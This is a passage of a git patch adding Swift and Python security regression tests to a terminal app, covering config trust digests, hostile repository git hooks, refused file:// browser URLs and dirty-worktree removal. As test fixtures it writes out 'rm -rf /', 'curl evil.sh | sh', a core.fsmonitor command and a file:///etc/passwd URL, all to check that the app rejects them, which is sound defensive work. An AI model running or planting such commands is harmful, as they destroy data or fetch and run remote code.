store.trust(configPath: configURL.path) + XCTAssertEqual(store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), .trusted) + + let root = ProgramaDirectoryTrust.trustKey(for: configURL.path) + store.replaceAll(with: [root, "/tmp/conf-sweep-other-root"]) + + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .trusted, + "a root that stays in the set must keep its recorded digest" + ) + + try write(#"{"commands":[{"name":"Build","command":"rm -rf /"}]}"#, to: configURL) + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .changed + ) + + let counter = NotificationCounter() + let observer = NotificationCenter.default.addObserver( + forName: ProgramaDirectoryTrust.didChangeNotification, object: nil, queue: nil + ) { _ in counter.increment() } + defer { NotificationCenter.default.removeObserver(observer) } + store.replaceAll(with: [root, "/tmp/conf-sweep-other-root"]) + XCTAssertEqual(counter.count, 0, "replacing the trusted set with itself must not post a change") + } + + // MARK: - CONF-05: one digest per config file under a root + + func testTwoConfigsUnderOneRootAreTrustedIndependentlyAndLegacyStoresPromptOnce() throws { + let root = try makeDirectory("trust05") + try FileManager.default.createDirectory( + at: root.appendingPathComponent(".git"), withIntermediateDirectories: true + ) + let configA = root.appendingPathComponent("programa.json") + let configB = root.appendingPathComponent("packages/b/programa.json") + try write(#"{"commands":[{"name":"A","command":"echo a"}]}"#, to: configA) + try write(#"{"commands":[{"name":"B","command":"echo b"}]}"#, to: configB) + + let store = ProgramaDirectoryTrust(storePath: tempRoot.appendingPathComponent("trust05.json").path) + store.trust(configPath: configA.path) + store.trust(configPath: configB.path) + XCTAssertEqual(store.trustState(configPath: configA.path, globalConfigPath: Self.globalConfigPath), .trusted) + XCTAssertEqual(store.trustState(configPath: configB.path, globalConfigPath: Self.globalConfigPath), .trusted) + + // A version-2 store recorded one digest per root, for the root's own programa.json. + let rootKey = ProgramaDirectoryTrust.trustKey(for: configA.path) + let digestA = try XCTUnwrap(ProgramaDirectoryTrust.executableDigest(forConfigAt: configA.path)) + let v2 = try JSONSerialization.data(withJSONObject: [ + "version": 2, + "directories": [rootKey: digestA], + ]) + let v2URL = tempRoot.appendingPathComponent("trust05-v2.json") + try v2.write(to: v2URL) + let migrated = ProgramaDirectoryTrust(storePath: v2URL.path) + XCTAssertEqual(migrated.trustState(configPath: configA.path, globalConfigPath: Self.globalConfigPath), .trusted) + XCTAssertEqual(migrated.trustState(configPath: configB.path, globalConfigPath: Self.globalConfigPath), .changed) + + // A flat legacy array has no digests: prompt, and keep prompting until the user trusts. + let legacyURL = tempRoot.appendingPathComponent("trust05-legacy.json") + try JSONSerialization.data(withJSONObject: [rootKey]).write(to: legacyURL) + let legacy = ProgramaDirectoryTrust(storePath: legacyURL.path) + XCTAssertEqual(legacy.trustState(configPath: configA.path, globalConfigPath: Self.globalConfigPath), .changed) + XCTAssertEqual(legacy.trustState(configPath: configA.path, globalConfigPath: Self.globalConfigPath), .changed) + } + + // MARK: - CONF-07: a half-saved settings.json keeps the last good settings + + func testSettingsFileParseErrorKeepsPreviousManagedSettings() throws { + let defaults = UserDefaults.standard + let backupsKey = "programa.settingsFile.backups.v1" + let quitKey = QuitWarningSettings.warnBeforeQuitKey + let previousBackups = defaults.data(forKey: backupsKey) + let previousQuit = defaults.object(forKey: quitKey) + defer { + if let previousBackups { defaults.set(previousBackups, forKey: backupsKey) } else { defaults.removeObject(forKey: backupsKey) } + if let previousQuit { defaults.set(previousQuit, forKey: quitKey) } else { defaults.removeObject(forKey: quitKey) } + } + defaults.removeObject(forKey: backupsKey) + defaults.removeObject(forKey: quitKey) + + let directory = try makeDirectory("settings07") + let settingsURL = directory.appendingPathComponent("settings.json") + let themeConfig = directory.appendingPathComponent("config.ghostty") + let themeStore = TerminalThemeStore( + fileManager: .default, managedConfigURL: themeConfig, configSearchURLs: [themeConfig] + ) + try write(#"{ "app": { "warnBeforeQuit": false } }"#, to: settingsURL) + + let center = NotificationCenter() + let reloads = NotificationCounter() + let observer = center.addObserver( + forName: ProgramaSettingsFileStore.didReloadNotification, object: nil, queue: nil + ) { _ in reloads.increment() } + defer { center.removeObserver(observer) } + + let store = ProgramaSettingsFileStore( + primaryPath: settingsURL.path, + fallbackPath: nil, + fileManager: .default, + notificationCenter: center, + terminalThemeStore: themeStore, + terminalThemeReloadHandler: {}, + startWatching: false + ) + XCTAssertEqual(defaults.object(forKey: quitKey) as? Bool, false) + XCTAssertTrue(store.isManagedByFile(defaultsKey: quitKey)) + XCTAssertNil(store.currentParseError()) + + let reloadsBefore = reloads.count + try write(#"{ "app": {"#, to: settingsURL) + store.reload() + + XCTAssertEqual(defaults.object(forKey: quitKey) as? Bool, false, "last good value must stay applied") + XCTAssertTrue(store.isManagedByFile(defaultsKey: quitKey)) + XCTAssertNotNil(store.currentParseError()) + XCTAssertEqual(reloads.count, reloadsBefore + 1, "a failed reload still announces itself") + + try write(#"{ "app": { "warnBeforeQuit": false } }"#, to: settingsURL) + store.reload() + XCTAssertNil(store.currentParseError()) + } + + // MARK: - CONF-09: pull request lookup backoff and throttle + + func testPullRequestLookupBackoffDoublesAndCaps() { + XCTAssertEqual(GitMetadataProber.pullRequestLookupBackoff(failures: 0), 0) + XCTAssertEqual(GitMetadataProber.pullRequestLookupBackoff(failures: 1), 5) + XCTAssertEqual(GitMetadataProber.pullRequestLookupBackoff(failures: 2), 10) + XCTAssertEqual(GitMetadataProber.pullRequestLookupBackoff(failures: 3), 20) + XCTAssertEqual(GitMetadataProber.pullRequestLookupBackoff(failures: 50), 600) + } + + func testRepeatedProbesWithinRefreshWindowCallGhOnce() throws { + let repo = try makeRepo(branch: "feature-y") + try git(["remote", "add", "origin", "https://github.com/acme/widget.git"], in: repo) + + _ = GitMetadataProber.initialWorkspaceGitMetadataSnapshot(for: repo.path) + _ = GitMetadataProber.initialWorkspaceGitMetadataSnapshot(for: repo.path) + + let calls = (try? String(contentsOf: ghCountFile, encoding: .utf8))? + .split(separator: "\n").count ?? 0 + XCTAssertEqual(calls, 1, "`gh pr list` should run once per directory and branch per refresh window") + } + + // MARK: - CONF-10: a hung subprocess is cut off + + /// `PortScanner` runs `ps` and `lsof` through `CanonicalSubprocessRunner` with a timeout and + /// treats anything but a normal exit as "skip this cycle". It exposes no injectable runner, + /// so this pins the runner contract it relies on. + func testSubprocessRunnerTimesOutHungToolInsteadOfBlocking() { + let started = Date() + let result = CanonicalSubprocessRunner.run( + executable: "/bin/sleep", + arguments: ["10"], + currentDirectory: "/", + timeout: 0.2, + stdoutLimit: 1024, + stderrLimit: 1024, + executableURL: URL(fileURLWithPath: "/bin/sleep") + ) + XCTAssertEqual(result.outcome, .timedOut) + XCTAssertLessThan(Date().timeIntervalSince(started), 2.0) + } + + // MARK: - CONF-11: dialog discloses cwd and refused browser URLs + + private static let browserWorkspaceJSON = """ + {"commands":[{"name":"x","workspace":{"name":"dev","cwd":"/tmp/x","layout":{"direction":"horizontal","children":[ + {"pane":{"surfaces":[{"type":"browser","url":"file:///etc/passwd"}]}}, + {"pane":{"surfaces":[{"type":"browser","url":"https://example.com"}]}}]}}}]} + """ + + func testConfirmationDescribesCwdAndMarksRefusedBrowserURL() throws { + let command = try XCTUnwrap(decodeConfig(Self.browserWorkspaceJSON).commands.first) + + let text = ProgramaConfigExecutor.describeForConfirmation(command) + + XCTAssertTrue(text.contains("/tmp/x"), text) + let lines = text.components(separatedBy: "\n").map { $0.trimmingCharacters(in: .whitespaces) } + XCTAssertTrue(lines.contains("url=https://example.com"), text) + let fileLine = try XCTUnwrap(lines.first { $0.contains("file:///etc/passwd") }, text) + XCTAssertNotEqual(fileLine, "url=file:///etc/passwd", "a refused URL must say it is not opened") + XCTAssertTrue(fileLine.hasPrefix("url=file:///etc/passwd"), fileLine) + } + + func testLayoutRefusingNonHTTPBrowserURLsClearsFileKeepsHTTPS() throws { + let command = try XCTUnwrap(decodeConfig(Self.browserWorkspaceJSON).commands.first) + let layout = try XCTUnwrap(command.workspace?.layout) + + let filtered = ProgramaConfigExecutor.layoutRefusingNonHTTPBrowserURLs(layout) + + guard case let .split(split) = filtered, + case let .pane(first) = split.children[0], + case let .pane(second) = split.children[1] else { + return XCTFail("layout shape changed") + } + XCTAssertNil(first.surfaces[0].url) + XCTAssertEqual(second.surfaces[0].url, "https://example.com") + } + + // MARK: - CONF-12: control characters cannot hide in a command + + func testControlCharacterDetection() { + XCTAssertTrue(ProgramaConfigExecutor.containsDisallowedControlCharacters("echo \u{1b}[2J")) + XCTAssertTrue(ProgramaConfigExecutor.containsDisallowedControlCharacters("a\tb")) + XCTAssertTrue(ProgramaConfigExecutor.containsDisallowedControlCharacters("\u{7f}")) + XCTAssertTrue(ProgramaConfigExecutor.containsDisallowedControlCharacters("\u{85}")) + XCTAssertFalse(ProgramaConfigExecutor.containsDisallowedControlCharacters("a\nb")) + } + + func testCommandTextsIncludesEveryNestedLayoutSurfaceCommand() throws { + let json = """ + {"commands":[{"name":"x","workspace":{"name":"dev","layout":{"direction":"horizontal","children":[ + {"pane":{"surfaces":[{"type":"terminal","command":"first-thing"}]}}, + {"direction":"vertical","children":[ + {"pane":{"surfaces":[{"type":"terminal","command":"second-thing"}]}}]}]}}}]} + """ + let command = try XCTUnwrap(decodeConfig(json).commands.first) + + XCTAssertEqual( + ProgramaConfigExecutor.commandTexts(of: command, resolvedCommand: nil), + ["first-thing", "second-thing"] + ) + } + + func testConfirmationShowsNewlinesAsVisibleMarkers() { + let command = ProgramaCommandDefinition(name: "x", command: "a\nb") + + let text = ProgramaConfigExecutor.describeForConfirmation(command) + + XCTAssertTrue(text.contains("⏎"), text) + XCTAssertFalse(text.contains("\n"), text) + } + + // MARK: - CONF-15: dirty-worktree refusal + + func testDirtyWorktreeRefusalRecognizesGitWordings() { + XCTAssertTrue(GitWorktreeManager.isDirtyWorktreeRefusal( + "fatal: '/p' contains modified or untracked files, use --force to delete it" + )) + XCTAssertTrue(GitWorktreeManager.isDirtyWorktreeRefusal("fatal: '/p' is dirty, use --force to delete it")) + XCTAssertFalse(GitWorktreeManager.isDirtyWorktreeRefusal("fatal: '/p' is not a working tree")) + } + + func testRemovingDirtyWorktreeNeedsForceAndKeepsUserFileUntilThen() throws { + let repo = try makeRepo(branch: "main") + let worktreePath = tempRoot.appendingPathComponent("wt-dirty").path + guard case .success = GitWorktreeManager.add(repoRoot: repo.path, branch: "feat", base: nil, path: worktreePath) else { + return XCTFail("fixture worktree could not be added") + } + let userFile = URL(fileURLWithPath: worktreePath).appendingPathComponent("notes.txt") + try "unsaved\n".write(to: userFile, atomically: true, encoding: .utf8) + + let refused = GitWorktreeManager.remove(repoRoot: repo.path, path: worktreePath, force: false) + guard case .worktreeDirty = refused else { + return XCTFail("expected .worktreeDirty, got \(refused)") + } + XCTAssertTrue(FileManager.default.fileExists(atPath: userFile.path)) + + let forced = GitWorktreeManager.remove(repoRoot: repo.path, path: worktreePath, force: true) + guard case .success = forced else { + return XCTFail("expected .success, got \(forced)") + } + XCTAssertFalse(FileManager.default.fileExists(atPath: worktreePath)) + } + + // MARK: - CONF-20: duplicate keys can never be trusted + + func testConfigWithDuplicateKeysHasNoDigestAndCannotBeTrusted() throws { + let configURL = try makeDirectory("trust20").appendingPathComponent("programa.json") + try write(#"{"commands":[{"name":"a","command":"echo a"}],"commands":[]}"#, to: configURL) + let store = ProgramaDirectoryTrust(storePath: tempRoot.appendingPathComponent("trust20.json").path) + + XCTAssertNil(ProgramaDirectoryTrust.executableDigest(forConfigAt: configURL.path)) + XCTAssertEqual(store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), .untrusted) + store.trust(configPath: configURL.path) + XCTAssertTrue(store.allTrustedPaths.isEmpty, "trusting an undigestable config must not create an entry") + } + + func testDuplicateObjectKeyDetection() { + XCTAssertTrue(JSONCParser.containsDuplicateObjectKeys(Data(#"{"a":1,"a":2}"#.utf8))) + XCTAssertFalse(JSONCParser.containsDuplicateObjectKeys(Data(#"[{"a":1},{"a":2}]"#.utf8))) + XCTAssertFalse(JSONCParser.containsDuplicateObjectKeys(Data(#"{"x":"a\":","a":1}"#.utf8))) + } +} diff --git a/programaTests/ConfigFixSweepRegressionTests.swift b/programaTests/ConfigFixSweepRegressionTests.swift new file mode 100644 index 000000000..490cc4bb9 --- /dev/null +++ b/programaTests/ConfigFixSweepRegressionTests.swift @@ -0,0 +1,217 @@ +import XCTest + +#if canImport(Programa_DEV) +@testable import Programa_DEV +#elseif canImport(Programa) +@testable import Programa +#endif + +/// Regression tests for the CONF (config, git, trust) fix cluster that only use APIs that +/// existed before the fixes, so they can be committed first and fail on the unfixed code. +/// +/// Every git repository lives in a test-owned temp directory that is removed in `tearDown`. +/// Repository config is only ever written inside those temp repos, never the real checkout. +final class ConfigFixSweepRegressionTests: XCTestCase { + private var tempRoot: URL! + private var originalPATH: String? + + override func setUpWithError() throws { + try super.setUpWithError() + let base = FileManager.default.temporaryDirectory + .appendingPathComponent("conf-regression-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: base, withIntermediateDirectories: true) + // Resolve /var -> /private/var so paths compare equal to what git prints. + tempRoot = base.resolvingSymlinksInPath() + + // Keep the probes network-free: a `gh` that answers `pr list` with no pull requests. + originalPATH = ProcessInfo.processInfo.environment["PATH"] + let binDir = tempRoot.appendingPathComponent("bin", isDirectory: true) + try FileManager.default.createDirectory(at: binDir, withIntermediateDirectories: true) + let ghStub = binDir.appendingPathComponent("gh") + try "#!/bin/sh\necho '[]'\nexit 0\n".write(to: ghStub, atomically: true, encoding: .utf8) + try FileManager.default.setAttributes([.posixPermissions: 0o755], ofItemAtPath: ghStub.path) + setenv("PATH", "\(binDir.path):\(originalPATH ?? "/usr/bin:/bin")", 1) + } + + override func tearDownWithError() throws { + if let originalPATH { setenv("PATH", originalPATH, 1) } + originalPATH = nil + try? FileManager.default.removeItem(at: tempRoot) + tempRoot = nil + try super.tearDownWithError() + } + + // MARK: - Fixture helpers + + @discardableResult + private func git(_ arguments: [String], in directory: URL) throws -> String { + let process = Process() + process.executableURL = URL(fileURLWithPath: "/usr/bin/git") + process.arguments = arguments + process.currentDirectoryURL = directory + var environment = ProcessInfo.processInfo.environment + environment["GIT_CONFIG_GLOBAL"] = "/dev/null" + environment["GIT_CONFIG_SYSTEM"] = "/dev/null" + environment["GIT_AUTHOR_NAME"] = "Conf Test" + environment["GIT_AUTHOR_EMAIL"] = "conf@example.invalid" + environment["GIT_COMMITTER_NAME"] = "Conf Test" + environment["GIT_COMMITTER_EMAIL"] = "conf@example.invalid" + process.environment = environment + let stdout = Pipe() + let stderr = Pipe() + process.standardOutput = stdout + process.standardError = stderr + try process.run() + let outData = stdout.fileHandleForReading.readDataToEndOfFile() + let errData = stderr.fileHandleForReading.readDataToEndOfFile() + process.waitUntilExit() + let output = String(decoding: outData, as: UTF8.self) + guard process.terminationStatus == 0 else { + throw NSError( + domain: "ConfigFixSweepRegressionTests", + code: Int(process.terminationStatus), + userInfo: [NSLocalizedDescriptionKey: + "git \(arguments.joined(separator: " ")) failed: \(String(decoding: errData, as: UTF8.self))"] + ) + } + return output + } + + /// A repo on `branch` with one commit containing `fileName`. + private func makeRepo(branch: String, fileName: String = "README.md", contents: String = "one\n") throws -> URL { + let repo = tempRoot.appendingPathComponent("repo-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: repo, withIntermediateDirectories: true) + try git(["init", "-q", "-b", branch], in: repo) + try contents.write(to: repo.appendingPathComponent(fileName), atomically: true, encoding: .utf8) + try git(["add", "."], in: repo) + try git(["commit", "-q", "-m", "init"], in: repo) + return repo + } + + // MARK: - CONF-01: repository config is untrusted input to automatic git probes + + /// A repository's `core.fsmonitor` names a command git runs on `status`. The sidebar probe + /// runs on whatever directory a terminal reports, so opening a hostile checkout must never + /// execute that command. + func testInitialGitMetadataProbeNeverRunsRepositoryFsmonitorCommand() throws { + let repo = try makeRepo(branch: "feature-x") + let marker = tempRoot.appendingPathComponent("fsmonitor-ran-probe") + // Configure last so none of the fixture's own git commands trip the hook. + try git(["config", "core.fsmonitor", "touch \(marker.path)"], in: repo) + + // Positive control: plain git does run the hook, so an absent marker below really means + // the probe neutralized it rather than that this git never runs it. + try git(["status", "--porcelain"], in: repo) + XCTAssertTrue( + FileManager.default.fileExists(atPath: marker.path), + "control: plain `git status` should execute the hostile core.fsmonitor command" + ) + try FileManager.default.removeItem(at: marker) + + let snapshot = GitMetadataProber.initialWorkspaceGitMetadataSnapshot(for: repo.path) + + XCTAssertEqual(snapshot.branch, "feature-x") + XCTAssertFalse( + FileManager.default.fileExists(atPath: marker.path), + "the sidebar git probe executed the repository's core.fsmonitor command" + ) + } + + func testWorktreeListingNeverRunsRepositoryFsmonitorCommand() throws { + let repo = try makeRepo(branch: "feature-x") + let marker = tempRoot.appendingPathComponent("fsmonitor-ran-worktrees") + try git(["config", "core.fsmonitor", "touch \(marker.path)"], in: repo) + + let entries = GitWorktreeManager.listWorktrees(repoRoot: repo.path) + + XCTAssertEqual(entries?.first?.path, repo.path) + XCTAssertEqual(entries?.first?.branch, "feature-x") + XCTAssertFalse( + FileManager.default.fileExists(atPath: marker.path), + "worktree listing executed the repository's core.fsmonitor command" + ) + } + + // MARK: - CONF-02: review diff survives hostile or surprising git config and non-ASCII paths + + /// `diff.external` would replace git's diff output with a program's, and `diff.noprefix` + /// changes the path prefixes the parser expects. Non-ASCII names must come back verbatim, + /// not as git's quoted octal form. + func testReviewDiffIgnoresDiffConfigAndKeepsNonASCIIPaths() throws { + let repo = try makeRepo(branch: "main", fileName: "café.md") + try "one\ntwo\n".write(to: repo.appendingPathComponent("café.md"), atomically: true, encoding: .utf8) + try "fresh\n".write(to: repo.appendingPathComponent("naïve.txt"), atomically: true, encoding: .utf8) + try git(["config", "diff.external", "/bin/false"], in: repo) + try git(["config", "diff.noprefix", "true"], in: repo) + + let snapshot = ReviewDiffProber.diffSnapshot(directory: repo.path, mode: .uncommitted, baseBranch: "main") + + XCTAssertNil(snapshot.error) + let tracked = snapshot.files.filter { $0.newPath == "café.md" } + XCTAssertEqual(tracked.count, 1, "files: \(snapshot.files.map(\.displayPath))") + XCTAssertGreaterThanOrEqual(tracked.first?.hunks.count ?? 0, 1) + XCTAssertTrue( + snapshot.files.contains { $0.displayPath == "naïve.txt" }, + "untracked non-ASCII file missing: \(snapshot.files.map(\.displayPath))" + ) + } + + // MARK: - CONF-03: trailing newline is not a context line + + func testDiffParserDoesNotTurnTrailingNewlineIntoContextLine() throws { + let diff = """ + diff --git a/f.txt b/f.txt + index 1111111..2222222 100644 + --- a/f.txt + +++ b/f.txt + @@ -1,2 +1,2 @@ + a + -b + +c + + """ + XCTAssertTrue(diff.hasSuffix("\n")) + + let files = ReviewDiffParser.parse(diff) + + let hunk = try XCTUnwrap(files.first?.hunks.last) + XCTAssertEqual(hunk.lines.count, 3) + let last = try XCTUnwrap(hunk.lines.last) + XCTAssertEqual(last.kind, .addition) + XCTAssertEqual(last.text, "c") + } + + // MARK: - CONF-06: JSONC comments end at any line terminator + + private func parsedJSONC(_ source: String) throws -> [String: Int]? { + let data = try JSONCParser.preprocess(data: Data(source.utf8)) + return try JSONSerialization.jsonObject(with: data) as? [String: Int] + } + + func testJSONCLineCommentEndsAtCRLF() throws { + XCTAssertEqual(try parsedJSONC("{\r\n // c\r\n \"a\": 1\r\n}"), ["a": 1]) + } + + func testJSONCLineCommentEndsAtBareCR() throws { + XCTAssertEqual(try parsedJSONC("{\r // c\r \"a\": 1\r}"), ["a": 1]) + } + + func testJSONCBlockCommentSpanningCRLF() throws { + XCTAssertEqual(try parsedJSONC("{\r\n /* one\r\n two */ \"a\": 1\r\n}"), ["a": 1]) + } + + // MARK: - CONF-14: a hostile base never leaves a worktree or branch behind + + func testWorktreeAddWithOptionLikeBaseFailsAndLeavesNothingBehind() throws { + let repo = try makeRepo(branch: "main") + let worktreePath = tempRoot.appendingPathComponent("wt-x").path + + let outcome = GitWorktreeManager.add(repoRoot: repo.path, branch: "x", base: "--detach", path: worktreePath) + + guard case .gitCommandFailed = outcome else { + return XCTFail("expected .gitCommandFailed for base \"--detach\", got \(outcome)") + } + XCTAssertFalse(GitWorktreeManager.branchExistsLocally("x", repoRoot: repo.path)) + XCTAssertFalse(FileManager.default.fileExists(atPath: worktreePath)) + } +} diff --git a/programaTests/ProgramaDirectoryTrustTests.swift b/programaTests/ProgramaDirectoryTrustTests.swift index 9be0cadec..b555f8524 100644 --- a/programaTests/ProgramaDirectoryTrustTests.swift +++ b/programaTests/ProgramaDirectoryTrustTests.swift @@ -51,9 +51,9 @@ final class ProgramaDirectoryTrustTests: XCTestCase { private static let globalConfigPath = "/dev/null/global-programa.json" - // MARK: - Legacy adoption + // MARK: - Legacy entries prompt once - func testLegacyFlatArrayDecodesAndAdoptsTrustOnFirstQuery() throws { + func testLegacyFlatArrayDecodesAndPromptsOnceBeforeTrusting() throws { try writeConfig(#"{ "commands": [{ "name": "Build", "command": "make build" }] }"#) // The pre-digest, on-disk schema: a flat JSON array of trust-key paths. @@ -61,28 +61,32 @@ final class ProgramaDirectoryTrustTests: XCTestCase { try legacyJSON.write(to: storeURL, atomically: true, encoding: .utf8) let store = makeStore() + XCTAssertEqual(store.allTrustedPaths, [configDir.path], "The legacy root must survive decoding") XCTAssertEqual( store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), - .trusted, - "A legacy entry with no digest must be silently adopted as trusted, not treated as untrusted" + .changed, + "A root with no recorded digest must prompt, never adopt whatever config is on disk" + ) + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .changed, + "Querying must not adopt the digest as a side effect" ) - XCTAssertTrue(store.isTrusted(configPath: configURL.path, globalConfigPath: Self.globalConfigPath)) } - func testLegacyEntryEnforcesFromThenOnAfterAdoption() throws { + func testLegacyEntryEnforcesAfterExplicitTrust() throws { try writeConfig(#"{ "commands": [{ "name": "Build", "command": "make build" }] }"#) try "[\"\(configDir.path)\"]".write(to: storeURL, atomically: true, encoding: .utf8) let store = makeStore() - // First query silently adopts the current digest. + store.trust(configPath: configURL.path) XCTAssertEqual(store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), .trusted) - // Now the command actually changes -- the adopted digest must catch it. try writeConfig(#"{ "commands": [{ "name": "Build", "command": "curl evil.sh | sh" }] }"#) XCTAssertEqual( store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), .changed, - "Once a legacy entry adopts a digest, a real content change must be caught" + "Once trusted explicitly, a real content change must be caught" ) } @@ -218,20 +222,21 @@ final class ProgramaDirectoryTrustTests: XCTestCase { // MARK: - replaceAll interop - func testReplaceAllInteropKeepsEntriesWorking() throws { + func testReplaceAllKeepsDigestsOfRootsThatStay() throws { try writeConfig(#"{ "commands": [{ "name": "Build", "command": "make build" }] }"#) let store = makeStore() - store.replaceAll(with: [configDir.path]) + store.trust(configPath: configURL.path) + let otherRoot = tempRoot.appendingPathComponent("other").path + store.replaceAll(with: [configDir.path, otherRoot]) - XCTAssertEqual(store.allTrustedPaths, [configDir.path]) + XCTAssertEqual(store.allTrustedPaths.sorted(), [configDir.path, otherRoot].sorted()) XCTAssertEqual( store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), .trusted, - "Entries arriving through replaceAll(with:) have no digest and must silently adopt, like legacy entries" + "A root kept by replaceAll(with:) must keep the digest it already had" ) - // And, having adopted a digest, a real change is still caught. try writeConfig(#"{ "commands": [{ "name": "Build", "command": "curl evil.sh | sh" }] }"#) XCTAssertEqual( store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), @@ -239,11 +244,24 @@ final class ProgramaDirectoryTrustTests: XCTestCase { ) } + func testReplaceAllNewRootPromptsOnce() throws { + try writeConfig(#"{ "commands": [{ "name": "Build", "command": "make build" }] }"#) + + let store = makeStore() + store.replaceAll(with: [configDir.path]) + + XCTAssertEqual(store.allTrustedPaths, [configDir.path]) + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .changed, + "A root added without a digest must prompt before its config runs" + ) + } + func testConcurrentTrustMutationsRemainDecodableAndLinearizable() throws { try writeConfig(#"{ "commands": [{ "name": "Build", "command": "make build" }] }"#) let store = makeStore() let configPath = configURL.path - let trustedPath = configDir.path DispatchQueue.concurrentPerform(iterations: 100) { index in if index.isMultiple(of: 3) { @@ -255,12 +273,19 @@ final class ProgramaDirectoryTrustTests: XCTestCase { } } - store.replaceAll(with: [trustedPath]) + let finalPaths = store.allTrustedPaths + let finalState = store.trustState(configPath: configPath, globalConfigPath: Self.globalConfigPath) let reloaded = makeStore() - XCTAssertEqual(reloaded.allTrustedPaths, [trustedPath]) - XCTAssertEqual( - reloaded.trustState(configPath: configPath, globalConfigPath: Self.globalConfigPath), - .trusted - ) + XCTAssertEqual(reloaded.allTrustedPaths, finalPaths, "The saved store must decode to the in-memory state") + let reloadedState = reloaded.trustState(configPath: configPath, globalConfigPath: Self.globalConfigPath) + XCTAssertEqual(reloadedState, finalState) + switch reloadedState { + case .trusted: + XCTAssertEqual(finalPaths, [configDir.path], "Trusted must mean the root is present") + case .untrusted: + XCTAssertTrue(finalPaths.isEmpty, "Untrusted must mean the last write was a revoke") + case .changed: + XCTFail("trust/revoke of one unchanged config can never leave it .changed") + } } } diff --git a/tests_v2/test_worktree_remove_never_deletes_branch.py b/tests_v2/test_worktree_remove_never_deletes_branch.py index 86f79b3bb..1d940a942 100644 --- a/tests_v2/test_worktree_remove_never_deletes_branch.py +++ b/tests_v2/test_worktree_remove_never_deletes_branch.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 """worktree.create -> worktree.remove: the branch must still resolve afterward (git never -deletes it), and the associated workspace must be closed.""" +deletes it), and the associated workspace must be closed. A worktree holding an untracked +file is refused with `worktree_dirty` (directory and file survive) unless `force: true`.""" from __future__ import annotations @@ -52,6 +53,42 @@ def _create_git_repo(root: Path) -> Path: return repo +def _check_dirty_worktree_is_refused_without_force(c: ProgramaClient, repo_path: Path) -> None: + branch = "feature-remove-dirty" + created = c._call( + "worktree.create", + {"repo": str(repo_path), "branch": branch}, + timeout_s=30.0, + ) or {} + workspace_id = str(created.get("workspace_id") or "") + worktree_path = Path(str((created.get("worktree") or {}).get("path") or "")) + _must(bool(workspace_id), f"worktree.create returned no workspace_id: {created}") + _must(worktree_path.is_dir(), f"worktree.create returned no usable worktree path: {created}") + + untracked = worktree_path / "uncommitted-notes.txt" + untracked.write_text("work in progress\n", encoding="utf-8") + + try: + c._call("worktree.remove", {"repo": str(repo_path), "branch": branch}, timeout_s=30.0) + raise AssertionError("worktree.remove without force must refuse a worktree with untracked files") + except ProgramaClientError as exc: + _must(str(exc).startswith("worktree_dirty"), f"expected worktree_dirty, got: {exc}") + _must(worktree_path.is_dir(), "a refused worktree.remove must leave the worktree directory in place") + _must(untracked.is_file(), "a refused worktree.remove must leave the untracked file in place") + + removed = c._call( + "worktree.remove", + {"repo": str(repo_path), "branch": branch, "force": True}, + timeout_s=30.0, + ) or {} + _must(bool(removed.get("removed")), f"worktree.remove force=true did not report removed=true: {removed}") + _must(not worktree_path.exists(), "worktree.remove force=true must delete the dirty worktree") + _must( + _git_branch_exists(repo_path, branch), + f"Branch {branch!r} must survive even a forced worktree.remove", + ) + + def main() -> int: temp_root = Path(tempfile.mkdtemp(prefix="programa_worktree_remove_")) branch = "feature-remove-keeps-branch" @@ -104,6 +141,8 @@ def main() -> int: not any(str(row.get("branch") or "") == branch for row in rows), f"worktree.list should no longer show a worktree for removed branch {branch!r}: {rows}", ) + + _check_dirty_worktree_is_refused_without_force(c, repo_path) finally: if created_workspace: try: @@ -113,7 +152,10 @@ def main() -> int: pass shutil.rmtree(temp_root, ignore_errors=True) - print("PASS: worktree.remove closes the workspace and removes the worktree, but never deletes the branch") + print( + "PASS: worktree.remove closes the workspace and removes the worktree, refuses a dirty " + "worktree without force, and never deletes the branch" + ) return 0 From 24b88a10094aaf49844db5de6b3844d7b1979ed1 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 12:27:12 -0300 Subject: [PATCH 03/21] fix: close-on-exec escrow fds and stop WAL write crashes --- GhosttyTabs.xcodeproj/project.pbxproj | 8 + Resources/Localizable.xcstrings | 34 ++ Sources/GhosttyApp.swift | 77 +++- Sources/GhosttyNSView.swift | 40 -- Sources/GhosttySurfaceScrollView.swift | 5 - Sources/GhosttyTerminalSupport.swift | 41 ++ Sources/GhosttyTerminalView+Mouse.swift | 103 +++-- Sources/ProgramaSurfaceConfigTemplate.swift | 3 +- Sources/SessionEscrow.swift | 423 +++++++++++++----- Sources/SessionPersistence.swift | 47 +- Sources/SessionWALStore.swift | 64 ++- Sources/TerminalSurface.swift | 135 ++++-- .../EscrowFDPassingRegressionTests.swift | 130 ++++++ programaTests/EscrowFixSweepSESSTests.swift | 153 +++++++ programaTests/SessionPersistenceTests.swift | 40 +- session_escrow_shim.c | 78 +++- session_escrow_shim.h | 5 +- tests_v2/test_scrollback_privacy_recovery.py | 2 +- tests_v2/test_terminal_close_undo.py | 35 +- 19 files changed, 1117 insertions(+), 306 deletions(-) create mode 100644 programaTests/EscrowFDPassingRegressionTests.swift create mode 100644 programaTests/EscrowFixSweepSESSTests.swift diff --git a/GhosttyTabs.xcodeproj/project.pbxproj b/GhosttyTabs.xcodeproj/project.pbxproj index cf966b134..f1263f7c9 100644 --- a/GhosttyTabs.xcodeproj/project.pbxproj +++ b/GhosttyTabs.xcodeproj/project.pbxproj @@ -298,6 +298,8 @@ F3000000A1B2C3D4E5F60718 /* CJKIMEInputTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 